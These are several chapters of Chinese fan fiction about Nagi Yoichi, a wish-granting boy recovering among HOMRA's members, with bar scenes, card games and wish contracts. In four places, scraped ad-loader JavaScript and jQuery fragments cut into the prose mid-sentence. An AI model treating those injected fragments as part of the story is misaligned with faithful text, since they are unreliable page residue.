就算进行一些幅度稍大的活动,也不会感到灵魂离体般的晕眩恶心,以往快要断掉似的呼吸被一条无形的线牵连起来,虽然仍然虚弱,但已经有了明显好转。 这些无不彰显着一个事实—— 身体崩损的进度暂停,甚至回退了。 十束的愿望被规则判定成立,遵从“心愿优先级高于一切”的逻辑,规则正用不知从哪偷来的能量一刻不停地修补他被法则磨损的身体。 “喂喂……你走运了啊。”雾气的声音里满满都是稀罕,“碰见真好人了。那家伙是真的希望你能好起来,他的愿望产生的愿力要比其他的都要多出好几倍啊!” 凪夜一盯着天花板,没有出声。 天蒙蒙亮的时间,无论是街道还是房间内都寂静无比。透过窗户能隐隐听到外面轻微的风雪声,房间内没有暖气,可凪夜一丝毫感觉不到冷。 过了很久,又好像只有几分钟,他轻轻的、自言自语似的说道:“我想过我的结局。” 好一点的是被法则撕掉,坏一点的是变成理智全无的疯子。 这些结局,他早已默许了。 少年从床上下来,对身体有别于往的轻盈感到陌生。 他花了点时间习惯了这份感觉,穿好鞋拉开门,正式开始他在吠舞罗的生活。 对于凪夜一来说,住在吠舞罗和住在医院,其实并没有什么明显的区别。 固定的活动区域、平静规律的作息表、定点刷新的十束。 晚上和上午是安静的休息时间,一楼在下午和晚上营业时间内会热闹起来。除了饭点,剩下只有十束在的时候,有概率能在一楼抓到他。 因为身体还在恢复,虽然八田他们一再提议,草薙还是不允许他们带他出远门。唯一一次去东京市里是草薙和十束亲自带他去的,做了必要的信息登记,顺便采买了缺失的生活物品。当十束问他想要什么的时候,凪夜一的脚步微微一顿,停在了一家书店门口。 但很快,他意识到了一件事—— “我暂时没有钱。” 作为和他刚认识不久的人,草薙和十束在他身上花的钱已经很多了。 他在吠舞罗住在二楼最末尾、新收整出来的房间,里头大部分东西明显都是新添置的。还有前段时间的住院费、来到吠舞罗以后的生活费用……虽然由于每到一个世界都要从零开始所以对钱没什么具体的概念,但凪夜一隐约也知道,这是一笔不小的数目。 他来这个世界才两个月,暂时没储存下什么积蓄。虽然也有想过,但这一刻,凪夜一开始认真地考虑要不要重操旧业了。 里世界的人头是很值钱的。小到几十万,大到数十亿,只要敢做,一切皆有可—— 忽然,十束拍了一下他的脑袋。 “如果我没看错的话……夜一是不是在想该怎么还钱?” 凪夜一飞速移开目光。 他的动作证实了十束的猜测,草薙从紫色镜片后面投出震惊的目光:这怎么看出来的? 十束回了他一个眼神:天赋啦。 论体察人心这一点,草薙自认确实没有十束这位驯兽师在行,毕竟他只是个“满身铜臭味”的酒吧老板——但倒也没有想过,差距拉大到了这种程度。 很快,他将这个想法扔到一边,腾出一只手,也薅了薅凪夜一白色的脑袋。 “比起那个,还不如想想一会买什么书。”金发青年的语气很随意,嘴角的弧度同样很随意,“嘛,可能外表看不太出来,我姑且也能算是‘很有钱’的那一档人。要想到需要还我钱的程度,那可得卯着劲花才行。” 凪夜一最终走进了书店,在心中默默记下要还钱之后。 他买了一大摞书回去。漫画、小说、还有难啃的大部头,杂七杂八什么买了一些。草薙隔天在他的房间里补了一排书架,不下楼的时候,凪夜一基本都待在房间里看书。 剩下极少数的时间里头,他也会做一些不那么老实的事,比如帮有钱的酒吧老板解决一点棘手的小麻烦—— 草薙那批高价从海外收购、在国内被“误截”后不知所踪的酒,在凪夜一恢复行动自由后的不久回到了吠舞罗。 同月底,一身穿得乖乖的凪夜一从外头回来,递给草薙一张卡。 酒吧老板伸手接过来,表情难得有点懵。 凪夜一盯着吧台的边缘,头顶扎着草薙压迫感极强的视线,给出一个坚定不移的答案:“路上捡的。” 有那么一瞬间,草薙是信的。毕竟言语很难描述凪夜一长了一张多么不会撒谎的脸——当然,这份信任在知道卡内余额的时候,一瞬间碎成了渣。 * “八百万。”草薙说,“他是去抢银行了吗?” 周防尊听了,竟然破天荒笑了一声:“噢……挺能干啊。” 酒吧打烊以后,三人围在一起喝酒。 十束托着脸,一脸毫不意外的烂漫神情:“果然预感成真了啊。之前买书的时候他不是就在想吗?还钱什么的。虽然草薙哥当时委婉拒绝了,但夜一是个很有想法的孩子呢。” 草薙:“不仅很有想法,还很有行动力啊……虽然是个不大的组织,但他把人一锅端了吧。这个年纪的小鬼是能做到这些事的吗?” “有可能诶。”十束似乎想到了什么,笑了一下,“伏见君高中的时候不就黑进了JUNGLE的网站吗?那时候他也才十五六岁吧?” 草薙端起酒杯灌了一口,叹了口气。 “那是极少数的个例吧?没想到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还能看见第二个。天生适合在这边的世界生存啊。” 十束顺畅地接话:“嘛,嘛。这不是一件好事吗?在这个年龄就找到了自己适合的方向。我在夜一这个年纪的时候,还整天都在为生计和进路发愁呢。” 三人的交谈之中,红发的王绝大多数时间总是扮演沉默的听众,只会在话题飘到感兴趣的点的时候开口说话。 十束的这句话不知道触到了他的哪个点,周防尊收回漫无边际的视线,拧起眉头,露出一个费解的神情。 “你觉得,一个小鬼从小学着怎么杀人,是一件好事?” “尊……” 酒吧一楼陷入一阵沉默。沉默的间隙中,十束的笑容收敛了一些,亚麻色长发垂在眉前,阴影中一份名为“忧心”的情绪来回游荡。 “怎么可能。”他盯着泛光的玻璃杯边缘,“杀人从来就不是什么好事。一旦走上那条路,就不能再回头了。” “抹消别人的同时,也是在抹消自己。重要的那一部分碎掉了,前路也会跟着一起坍塌掉。无法后退,没法前进,只能在原地徘徊。当有一天望向脚下的时候,就会看见……” 青年的眼神略微失焦,记忆闪回到曾经草薙终端上定格的影像—— 高楼,空无一人的天台,少年凝滞在空中的身影。 他一定确认过。从那个高度跳下去,他会…… 十束的舌尖之下,压出一个极轻的音节—— “‘死’。” 砰。 酒吧角落里传来什么东西落地的声响。 三人转头看向声音发出的地方,柜台后伸出一只白皙柔软的手,正要去捡滚落在地的弹珠。 “安娜?”草薙有些诧异,绕到柜台前方捡起弹珠递给她,“怎么还没睡觉?” 十束也从高脚凳上下来,在小姑娘面前蹲下,柔声问道:“是睡不着吗?” 安娜接过弹珠握在掌心,轻轻摇了摇头。她攥着洋装的裙摆,用双眼一眨不眨地盯着十束的脸,问出了一个很重要的问题:“夜一……会死吗?” 十束微微一愣。 很快,忧郁的阴霾在青年脸上一扫而空。他微笑着摸了摸安娜的头,语气郑重地承诺道:“不会的。King、草薙哥、还有我,我们会守护吠舞罗的每一个成员,不会让任何人死去。” “——综上所述,草薙哥。” 草薙:“啊?” 十束朝他眨了下左眼:“正好上一份工作也结束了,接下来这段时间我能在酒吧借住吗?方便看看夜一最近的情况。” “住多久都行,”草薙说,“楼上一直都有给你留房间。至于住宿费嘛……” 那张凪夜一递过去的小小卡片在酒吧老板手里转得飞起。 “凪酱已经帮你付清了。” 十束大惊失色:“我在酒吧住原来是需要住宿费的吗?” 草薙怒道:“工作了就不要整天想着白嫖啊混蛋!” 9. 王剑高悬9 凪夜一坐在楼顶上吹风,狱门疆挂在他的胸口,被风吹得来回打转。 天上呼啦啦地下小雪,他打着一把红色的伞,从天上往下看,像是长在天台边缘的一朵红蘑菇。 吠舞罗所在的建筑一共有三层,严格来说没有天台。但由于是平层设计,楼顶能坐,凪夜一晚上睡不着的时候经常会从窗户口翻上来,算是他在吠舞罗的一个秘密基地。 “你在想什么?”雾气问道。 “狱门疆里面是什么。” “又在想这个。”雾气叹了口气,“一直想不起来的事,没准哪天不经意间一下就想起来了,不要着急啦。” “我知道。”凪夜一低声道,“只是习惯性想一下。” 他将思绪从空白一片的过去中扯出来,眼帘微微一垂。 一楼门前透着微弱的灯光,从他坐的位置往下看,能看见一小片被映亮的雪地。 多多良和草薙先生还有王在楼下喝酒,结束的时候他会推开门,从这里步行回自己的住处。一般来说都是这样,他已经目送过他好几次了。 不过今天有点晚,到这个时间了还没出来。 今天聊了些什么……? 凪夜一的手腕搭在伞柄上,目光漫无目的地飘向远方。掠过某些奇怪的东西时稍一停顿,很快无动于衷地将它忽视掉—— 在正常的视野里,他盘腿坐在危险的楼顶边缘,而在他自己的视野中,世界发生了一些微妙的改变。 他的身边环绕着一片巨大的虚影,轮廓淡到就算特意盯着看也辨认不出来。他能够感知到那是一栋奇怪的建筑,也可以说是空间——凪夜一现在正坐在这栋建筑的门口,背后就是正门。 随着身体好转,最近虚影出现的次数越来越多。 凪夜一能看到它,却无法触碰、也无法进入那扇门。这栋建筑像是一个无处嵌套的异空间,始终跟随在他的身边。 “哦!又来了啊。”雾气兴高采烈地说,“这次比之前又清晰不少啊。” 凪夜一盯着积雪的路面,语气一如既往没什么精神:“根本没变化吧。” 雾气不满地嚷嚷:“怎么没有?它可是你异能的一部分啊,你就不能多分点目光给它吗?一直这么冷淡的话,就算是一栋房子也会伤心啊!” 凪夜一递给他一个难以言喻的目光。 “我从来不记得我的异能长这样。一个不知道从哪来的房子,我要怎么对它热情?” 雾气的心口好像被扎了一箭,哼哼唧唧地在他身边坐好。没过多久,他忧伤地道:“其实它陪了你很久的,你以前白天出去,晚上都在里面睡觉。只是那次在海水里泡太久了,起来以后很多事情都忘了而已。” 凪夜一恹恹地道:“能不要像上了年纪的婶婶一样用这种‘你小时候我还抱过你’的语气说话吗?” 雾气“扭头”盯他,一团没有实体的烟气里射出两道兴致勃勃的视线,非但没有生气,反而很有兴趣似的感叹:“总感觉你最近很有精神啊。” “……?” “以前我一说这种话,你就会沉默吧。”雾气说,“平常也不怎么理人,安静太久了,我都快忘记你最开始是个超级不好相处的臭小鬼了。” 凪夜一的目光挪到雾气身上,迟疑地问道:“……你在夸我吗?” “半个字都没有啊!!” 他们面面相觑了一会,凪夜一默默地将头转了回去。 雾气说他‘在海水里泡太久了’,这件事他其实有印象,印象还很深刻。只要一回忆起来,身体就能感受到被海水包围的沉重与冰冷,漆黑一片的视野、被剥夺的氧气,以及无论怎么找都永远远他一步的狱门疆。 狱门疆找回来以后,他确实忘记了很多事情。但有一些最基本的还是记得的—— 比如,他最大的愿望就是解开狱门疆的封印。比如,他的本职工作,原本应该是类似于‘许愿机’一类的东西。 在坠海之前,他应该已经做了相当久的许愿机。 人类向他许愿,订下契约后帮其完成愿望,而后通过契约收取应该获得的愿力。雾气也会受到契约的滋养,完成的契约越多,它也就越强大。 但坠海以后,出于一些难以克服的心理阴影,凪夜一罢工了。除了十束多多良这种避无可避的意外事件,他基本上没与人订下过新的契约。 至于为什么自己会成为这种‘许愿机’,凪夜一其实没怎么在意过。 对于他来说,重要的是依靠这个身份获得的能力,能够穿梭世界,解开狱门疆就不再是毫无希望的幻想。如果曾经的自己是和什么未知存在签订了什么契约,那现在则是一种罕见的双赢局面。 他帮这个存在搜集愿力,这个存在赋予他诸多超越常人从能力。他远离死亡,远离疾病,理论上拥有无限的时间和精力,就算罢工了这么久,雾气依然尽职尽责地保护他…… 凪夜一的思绪忽然一顿。 他转动脑子,理出了一条被自己忽视已久的重点—— 雾气能受到愿力的滋养。雾气能力发动时,他不需要付出任何代价。世界上不存在不需要代价就能发动的杀伤型异能。就像一部拥有一定电量却被断掉电源的终端…… “雾气。”他怔怔地伸手触碰雾气飘渺的身躯,“……你以前是这个样子的吗?” “当然不是。”雾气跟个变态似的扭了两下,惊讶地问道:“你想起什么了吗?” “一点点。”凪夜一问,“再这样下去,你会消失吗?” 雾气无所谓道:“不是消失是沉睡——还早着呢。以前你小子可是出乎意料地勤劳啊,攒下来的愿力够用好久了。” “可我现在不勤劳了。”凪夜一喃喃道,“你看着我偷懒,为什么不提醒我?” 雾气说:“不想做的事,再怎么强迫自己做下去也没有意义吧。”它凝出一直粗糙的大手,放在凪夜一头顶拍了拍,“况且你也不是不想做,只是累了想偷偷懒而已——那有什么不对?随便偷。” “在你偷懒的时候,我会好好看顾你的。” 凪夜一的心口重重一跳。一股无形的情绪从心脏蔓延,堵在喉咙口上不去也下不来。 他想说一句“谢谢”,然而等到终于能开口时,雾气却忽然一下消失了。 凪夜一有所预感,低头往下一看,果然看见了站在酒吧前,正仰头往上看的青年。 十束多多良把手拢在嘴边,高声向上头喊话:“夜——一——!这么晚怎么还没睡?” 因为安娜的指引同样追出来的草薙抬头一看,人都惊呆了:“哈?!怎么爬到那么高的地方去的?喂尊、仓库里的梯子还在吗?!” “安心啦草薙哥,他应该不是第一次上去了。”十束根本不慌,甚至笑眯眯地扬声夸赞,“呜哇,夜一手里的是我送给你的伞吗?下雪天会自己打伞了,真了不起!” 草薙一个头两个大:“你少说两句!” 凪夜一定定地盯着地上的人,眼底泛起稀少的亮光。那光芒像是黎明时天边亮起的鱼肚白,虽然稀少,但是鲜明无比。 在以前的很多很多天里,他从没感受到过如此浓烈的温暖、安定感。它们来自草薙焦急的神情、十束温柔的眼睛,这些情绪将他按在楼顶,少年没有用常用的方式下去,而是老老实实地等来了草薙架好的长梯,还有梯子上周防尊伸过来捞他的手——顺带一提,在捞他以前,赤之王先照着他的头来了一发训诫的铁拳。 “再爬到这么危险的地方,以后白天不准上楼。” 凪夜一勃然色变。 周防尊像拎一只小鸡仔一样把他从楼顶取下来,放到草薙和十束边上。两条手臂把他接了过去,草薙来回翻看他身上有没有受伤的地方,十束则是一副想说话又不敢说话的样子,笑意闷在眼底。 凪夜一站着不动任由草薙折腾,过了一会,忽然做出了一个出人意料的举动。 他松开了一直攥着狱门疆的手,双臂展开,给了草薙和十束一个轻轻的拥抱。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢。”他低声说,“还有王。” 十束对此适应良好,草薙被他抱得愣了一下,一连串马上要脱口而出的说教顿时卡壳了。好一会过去,他才回神薅了一把凪夜一的后脑勺,重重地叹了口气。 “知错就改就是好孩子。”他无情地道,“不过,惩罚是逃不了的。明天睡觉之前不准上楼,知道了吗?” * 凪夜一渡过了加入吠舞罗以后最煎熬的一天。 虽然他已经加入了有一段时间了,但由于不怎么在一楼出没的原因,很多氏族成员甚至没见过他,只听说过十束带回来个性格很冷淡、身体不太好的小白毛,年龄比安娜大不了多少。 而平常不露面的家伙忽然露面了,结果可想而知。 从上午开始,凪夜一就能接收到一些唏嘘的注视。 他在吧台后面帮着草薙整理物品,不时会有脸生的家伙从上方探头过来看他,嘴里发出“噢噢噢噢”的惊呼声。到了下午之后更是变本加厉,有性格豪爽的家伙进了门就直奔沙发,搬开他摆在旁边隔离陌生人的书堆直接一屁股坐了下来,笑眯眯地朝他打招呼:“呦,你好啊,夜一。我叫赤城翔平——你喜欢的话,随便怎么叫都可以。” 凪夜一把脸向另一边偏了下,没有吭声。 ……他们已经熟到能直呼名字的程度了吗? “上次欢迎会我有事没来,从那以后也一直没碰见你呢。幸好我一直把这个东西带在身上,”赤城翔平露出一排健康的大白牙,“来——给你的礼物。” 一个方型盒子被递到凪夜一面前。 少年白色睫毛下安静的绿瞳盯着它,处于某些迟疑,他并没有立刻作出反应。 坂东小山从沙发背后伸手拽他的领子:“喂……你坐在这干什么?别打扰他,过来找牌啦。” 在凪夜一看不见的角落,坂东小山疯狂地朝赤城翔平使眼色:他很少搭理别人,你别去自找没趣啊! 赤城翔平接收到了他的信号,露出一个诧异的神情。但就在下一秒,他的手一轻,东西被凪夜一接过去了。 白发少年打开那只方盒子,从里头拎出来一块雕着漂亮花纹的镂空书签。书签是铜制的,边缘有一圈细碎的亮光。 赤城翔平说:“听十束哥说你总是待在楼上看书,于是给你买了枚书签。这个花色你还喜欢吗?” 喜欢吗? 凪夜一不是很清楚自己的心情。但他认真地把这枚书签收好,沉默一会,对赤城翔平说:“谢谢。最近你有什么烦恼的事情吗?” 一直缩在身体里无所事事的雾气被这句话惊了一下:“喂,夜一,你……” 凪夜一道:“如果有的话,说给我听吧。” “烦恼的事情?好像没……”赤城翔平抓了抓脖子,神情有点不自然。虽然凪夜一愿意和他说话这件事让他很惊喜,但第一次见面就朝未成年倒苦水的大人也太逊了。他这么想着打算转移一下话题,却在目光转向凪夜一时微微一愣。 组织里来了个新人,这是他很早以前就听说过的事情。 接触过的人都说他是个很不好相处的孩子,因为性格太冷淡了,气质阴郁,还有点怵人。再加上他平常基本只跟十束草薙他们讲话,加入有一段时间了,也只是跟部分成员刷了个脸熟而已。 刚才短暂交谈下来,初印象也大差不离。然而,这些印象在他抬头的时候,忽然有了改观。 凪夜一长得很漂亮,这是吠舞罗众人的共识。 大部分时间里,他都像一个安静的玻璃摆件,对外界的反应极其微弱。但今天或许他心情很好,对于赤城翔平的问候不仅回应了,甚至主动抬起了头——失去头发的遮挡,色泽奇异的眼瞳暴露无遗。 那是一双罕见的眼睛。 像是藏在冰层之中的湖泊,是林海与草原、世间一切翠绿的延伸。 被这双眼睛注视时,赤城翔平的心中莫名浮现出一种感觉—— 告诉他的话,也许烦恼真会解决也说不定。 10. 王剑高悬10 凪夜一当作很长一段时间的许愿机。 愿望的底色是贪欲,而贪欲是一条沉淀着淤泥的溪流,表面上清澈平静,伸手一搅就浑然变色。而许愿机的工作是在这样的泥水之中淌来淌去,打捞并保护其中还没被淤泥染黑、纯白无暇的愿望。 对于这份工作,凪夜一说不清楚是讨厌多一点,还是无感多一点。 但无论是讨厌还是无感,现在它都成了必须捡起来的事项。赤城翔平开了个好头,在他兴致高昂地用力推开门、并摔坏草薙一块招牌板前,凪夜一正在听八田大倒苦水。 “喂凪,你也觉得吧?一定是吧?肯定有不老实的家伙出千了!明明十束哥玩牌也不算厉害,凭什么就我输得那么惨啊!搞不好他们故意的!联合起来!我可是输了三万啊三万!” 凪夜一揉了揉左边的耳朵,视线顽强地黏在地板上,穿好风衣外套以后,伸手去拿搭在沙发背上的围巾。 他的穿衣风格发生了一些改变,整体不再是奶油一样的浅色,而是更加简单的黑白色系,乍一看非常利落,却也十足冷淡。 右边传来十束的笑声:“愿赌服输啦八田,单纯只是运气不好也有可能。夜一要出门吗?回不回来吃晚饭?” 凪夜一点了点头,说:“回。多多良,草薙先生,有没有什么需要我带的东西?” 草薙在整理他的吧台,抽空抬头回答道:“啊,不用。你一个人出门行吗?要不要八田酱陪你去?” 八田皱着眉头:“哈?大冷天出什么门?留下来一起玩牌啊,镰本已经在路上了。有你和十束哥在,今天我一定不会输那么惨的。” 话是这么说,他已经转过身打算去找滑板了——刚刚走了一步,就被腰间的小小阻力拽停。 “啊?”他盯着白发少年拽住他腰间外套的手,“干什么?” 凪夜一今年不知道满没满十四岁,身高已经到了一米五,可能还超出来几厘米。这导致了八田心中尤其不爽的一点——他看凪夜一的时候不能像看安娜那样狠狠低头,低头的时候能看见的只有手! 对方没有松手,而是抬眼看着他,白色睫毛下是一双绿玻璃珠似的清透眼睛。 “对我说,”凪夜一口齿清晰地引导道,“‘今天我想赢很多牌’。” 八田不明所以,“既然都玩牌了当然想赢……嘁,知道了知道了。‘今天我想赢很多牌’——是这样么?” 凪夜一捏起他的手掌,跟自己的手轻轻击了个掌。一道透明的波浪顺着手掌相接的地方蔓延,将两人身影淹没后消失,少年将围巾最后一下搭好,下半张脸都裹在红色的长围巾里。 “我一个人就可以。”他拎起伞推开酒吧的门,“我出门了。” 十束立刻凑过来,拉着八田的手看了看。八田感觉有点莫名其妙,盯着自己空无一物的手掌:“搞什么啊小鬼……呜哇!” ——下一刻,酒吧的大门被赤城翔平猛地一下推开了。 鸭舌帽青年的身影出现在门口,一脸不可置信地深吸一口气:“夜一——有了、有了!!” 草薙机制触发,立刻用更大的嗓门吼了回去:“混蛋!我的招牌板没有了啊!!” “啊??非、非常抱歉!” “夜一的话,刚刚已经出门了哦。”十束笑眯眯地撑着脸,“好像有自己的事要去忙呢。正好镰本还没来,过来一起玩牌怎么样?当然,要先帮草薙哥再写一块招牌板哦,不然晚上营业的时候会很麻烦。” “好、好的!” 临近深冬,镇目町几乎每一天都在下雪。凪夜一的外出活动花费了六个多小时,在下午四点的时候提着几只甜点袋子推开了吠舞罗酒吧的门。 随后,他看着新换的看板上难以辨认的字符微微一愣。 这些形似鬼画符的字符忽然与某些印象重叠,也就是这个时候,他忽然想起了一件被他彻底抛在脑后的事——第一次来吠舞罗时在地板上留的信,好像用错语言了,是上个世界的通用语。怪不得十束没来找他…… 他收起伞,难得有点失语。 十束镰本他们凑在角落的桌子上玩牌,八田时来运转的狂笑声震得整个一楼都在颤抖。凪夜一不想凑去太热闹的地方,谁知道十束好像背后长了眼睛,一下回过头朝他招手:“快过来夜一!八田狂得没边了!” 镰本抓狂地扯头发:“为什么八田桑今天打得这么顺手啊!!!” “呵哈哈哈哈哈……”八田举着他被凪夜一拍过的右手,非常得意地拉长了声音,“不告诉你——” 赤城翔平:“单纯就是和夜一酱击了个掌吧。草薙哥说的。” “可恶!翔平!” “顺带一提我也击过掌哦,昨天。然后今天发生了非常好的事情,很神奇,对吧?” 赤城翔平说这句话时,凪夜一察觉到一缕微弱的愿力流遍全身。那是来自上一份契约的愿力,愿望完成后从许愿人身上离开,顺着法则来找他了。 他清点了一下,发现是真的很少。如果说以前他接到手的单子是一片海,那从这个契约之中得到的愿力就像一滴水——不过对于这个结果,他也并不意外。 毕竟是和平世代啊。他想。 真要说起来,他这个“业务员”如果要跑业务,应该去更混乱黑暗的地方。混乱与痛苦是执念的温床,执念越深,契约能提取的愿力也就越多,混乱之地堪称许愿机的天堂。 虽然危险也会成倍增加就是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 他小小的走了一会神,回过神来发现十束已经站在了他面前。 青年是知道他的能力的,凪夜一条件反射以为十束也想要击掌,立刻抬起左手——契约成立的先决条件是言语束缚,以及手掌相接。其实击掌握手都可以,只是凪夜一觉得握手奇怪,所以一般都是轻轻拍一下——谁知十束并没有和他手掌接触的意思,直接拉着他的手腕往里走。 “接下来代替我出场的是——凪夜一君!”他铿锵有力地宣布,“八田,你的好运气到头了!” 凪夜一:“不,我……” “欸欸欸欸——夜一知道怎么玩吗?”镰本问道,“不过十束哥要去干什么?” 十束哥眨了下左眼,接过凪夜一手里拎着的袋子:“准备晚饭,难得大家都在这里。夜一,袋子里是什么?你给安娜带的甜点吗?” “嗯,是大福。”凪夜一说,“安娜的装在红色袋子里。其余的是大家的。” 安娜正好从二楼下来,站在楼梯口捏紧裙摆,总是面无表情的脸上竟然浮现一丝期待:“给我的吗?” 很快,小姑娘带着她的那份大福被十束放进了人堆里头,凪夜一身边的空位上。 对于赤之氏族的成员来说,空闲时间聚在一起是常态。凪夜一通常不在楼下出现,对于这种热闹紧凑的气氛多少有些不习惯,安娜像是一道温和的缓冲线,轻柔地将他和众人隔离开来。 凪夜一身上紧绷的气氛松弛了一点,藤岛幸助洗牌,一局开场—— 一个小时以后,凪夜一从瘪瘪的零钱口袋中取出了最后一枚纸币。顶着周围人希望破灭又苦大仇深的眼神,他在心中想:毕竟八田已经许过愿了,就算让许愿机自己上,也只有输的份儿啊。 这份能力就是这么不讲道理,规则运用得当的话,别人是能很轻易的杀掉自己的。虽然对方也会一起被抹杀掉。 如果许愿机能向自己许愿的话…… 凪夜一的心跳轻轻漏了一拍。明知这是不可能的事情——他试过好几次,无一成功——然而想到它的时候,仍然会产生一种心脏被攥紧般的窒息感。 这是凪夜一的愿望,更准确地来说,或许更偏向于幻想。在这样稀少的时刻,他偶尔也能体会到那些向自己许愿的人的心情。不怎么好受,像是面前吊着一捆粮食却怎么也碰不到的马。 在无人注意的空当里,他出了一会神。 安娜不知从哪摸出了一颗玻璃珠,表情严肃地透过珠子观察他;两个沉默寡言的孩子在一片热闹的海洋中肩靠肩坐着,几分钟后,凪夜一被眼前晃动的手惊醒了。 “没关系。”安娜盯着他,唇角抿出一个小小的笑容,“夜一的愿望,会实现的。” 11. 王剑高悬11 那天过后,凪夜一开启了一段早出晚归的生活。 白天的时候在外面收集愿力,入夜的时候带着寒气推开酒吧的门,坐在吧台的角落喝草薙特调的果汁,一个人坐着安静地放空大脑。 这样安静的时刻往往持续不了多久,很快就会有吠舞罗的家伙凑上来问能不能和他击个掌。 赤城和八田那两件事过后,一些玄乎其玄的言论在吠舞罗内部流传开来。大家都知道凪夜一似乎是个拥有特殊能力的权外者,这段时间经常会有下级成员特意跑来酒吧“偶遇”他,和他搭话,就像现在—— 凪夜一刚坐下来不久,第二口果汁还没咽下去,旁边的位置就坐过来一个人。 “是……凪君吧?” 说话的是个穿着灰色卫衣的青年,满身酒气,兜帽压在头上,露出一截乱糟糟的棕色短发。看外表应该有二十四、五岁,胡子有段时间没修过了,眉毛好脾气地耷拉着,整个人显得有些不修边幅。 面对一个比自己小十岁的少年,他仍然使用了敬语。不过,‘少年的地位不低’在吠舞罗内是共识——凪夜一的气质、言行举止和他的年龄完全搭不上边,由干部十束多多良亲手提拔,拥有极其稀少珍贵的能力,和组织核心成员的关系奇好无比,也一定很受王的赏识。 凪夜一把饮料放回桌上,将视线与注意力分给了他。 不过,他并没有开口讲话。 这双眼睛中透出的漠然让青年汗如雨下,他努力东拉西扯好一会试图缓和气氛,最终还是把话题拐回了原本的来意上:“能……能请你和我击个掌吗?” 凪夜一抬起手掌。 “击掌之前,要说几句话。” 他淡淡地提醒道,奇异到有些怪异的声线让对面的人起了一身鸡皮疙瘩。 “我知道、知道。”青年连连点头,他似乎想要规避他人的视线,左顾右盼了一下才含含糊糊地开口,“我的名字叫三津直人,想要、想要中这期国乐彩的一等奖……” 在初次见面的陌生人面前直白袒露自己的贪欲,是一件很消耗自尊心的事。 如果被袒露的对象对此没有任何反应,那么在感到庆幸的同时,心中大概率还会浮现怨怼与怒火——恰如现在凪夜一摆出的神情,毫无波澜、死气沉沉,仿佛自己鼓起很大勇气才说出口的心迹在对方眼里和地上的烂泥没什么区别,根本不值一提。 青年深深地吸了一口气,将手凑上去,与凪夜一苍白的手掌相击。 ——啪。 一道清脆的响声过后,他整个人仿佛终于卸下了什么重担,嘴角抽搐了两下,挤出一个和善笑容:“谢、谢谢你。这样就可以了吧?还有没有什么别的需要我做的?” 凪夜一收回手,道:“没有。” “那我就回去等好消……” 然而,少年的下一句话让他的笑容僵在脸上。 “没有好消息。”凪夜一捧着玻璃杯抿了一口果汁,没再分给他多余的视线,“你的愿望被拒绝了。” “哈……哈?!”三津直人猛地站起来,带翻的椅子发出巨大的响声,“为什么、凭什么不行?!其他家伙明明都可以,凭什么就我不行?!” 又来了。 凪夜一垂下眼睫,瞳中闪现几分郁色。 或许该感谢这是和平年代吧?不然早就有把枪抵在他太阳穴边、或者背后扎满狙击手瞄准的红点了。 “国乐彩的一等奖是五千万。”他慢慢地道,“规则对你的评估是,你的善良还达不到实现这个愿望的标准。拿到这笔钱以后,你是想去做点什么不好的事情吧?” 三津直人咆哮道:“开什么玩笑!!” 这边的动静很大,吸引了店内不少客人的注意。草薙调兑基酒的动作一顿,店内还零散坐着一些吠舞罗成员,大多停下了手头的动作,向角落里投去不善的目光。 三津直人对此浑然不觉,激动地挥舞双臂:“是你对我有什么不满吧?!评估没到标准?!什么东西在评估我、标准又算什么东西?!我的态度还不够好吗?你这个不知好歹的臭——” 他猛地把手伸向凪夜一的肩膀,又被一只纤细的手拽住。 十束站在他身后,秀丽的脸上不见笑容,神情罕见的有点冷刻。 “有些话还是不要说比较好,三津直人君。”他道,“还有,在吧里大喊大叫的话,草薙哥会比你更生气的。” “十束哥,别跟他讲这种他听不懂的话啊。” 旁边传来一道粗犷的声音,十束会意地松开手,紧随而来的是镰本蓄足力气的铁拳。 三津直人发出一声惨叫,在手碰到凪夜一之前就倒了下去——镰本站在他身侧,收回咯咯作响的拳头,出了一口恶气,整个人神清气爽。 草薙在远处非常随便地招招手:“找个地方把他丢出去。” 镰本:“好嘞!” 他把瘦得像根干柴似的青年提起来,拉开门出去了。酒吧里大多数都是熟客,对这样的场景见怪不怪,哈哈笑着和老板开玩笑;草薙无奈地回应,一边用余光瞥向吧台的角落。 少年过于安静的反应在草薙看来有些反常,不禁让他产生了“一切被打回原状”的不妙预感。 然而凪夜一自己清楚,并没有三津直人什么事,他只是有点累,需要休息。再怎么习惯,规则与力量毕竟在身体上运转,连续不断使用能力之后产生疲劳感是很正常的事。 像三津直人这样的,在这个世界是第三例,再往前的例子数也数不清,他早就习惯了。 站在许愿机的立场,这些都是很正常、正常到不需要费心去关注的事。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “要不要拜托草薙哥再帮你调一杯?” 凪夜一闻声抬头。 十束把倒地的凳子扶起来,在他身边坐下。这下这个“凪夜一专属角落”完全被堵上了,那些想要上来许愿的家伙犹豫了一下,想到镰本的铁拳,到底还是没敢往前走。 “这杯没见你怎么喝呢。”十束问道,“不喜欢这个口味?太甜了吗?” 他坐在身边时,总能让凪夜一产生稀有的安全感。可以暂时不去管自己的工作、使命,可以彻底放空大脑、放下心防,因为这个人将心愿视作无物,也从来不会伤害自己。 “不会。”凪夜一说,“我的味觉不太灵敏,甜味重一点正好。” “……”十束微微睁大眼睛,灯光在他眼底汇成一条浅浅的光河。“从来没听你说过这个。以前吃的东西都尝不出味道吗?” 凪夜一转过脸,习惯性地撒了个小谎:“有些能。” 有些能,但味道也很淡,大部分时间都在失灵。有可能是身体崩坏的副产物,也可能是他本身味觉就不太正常。 “怪不得每次都吃不了多少。”十束撑着脸感叹,“之前草薙哥就猜测,你可能适合味道比较重的东西。正好我之前学过怎么做冬阴功汤,想不想尝尝?调料我都会多放一点的。” 再凪夜一的余光里,十束左耳的耳环不知道被哪里的光照着,一闪一闪地发着亮光。 少年盯着看了一会,回想起青年身上好像有挺多这样的小玩意。戒指、项链、铁制的耳环、风格独特的皮质手链……昨天好像有路过这种类型的小店,明天给多多良带礼物回来吧。 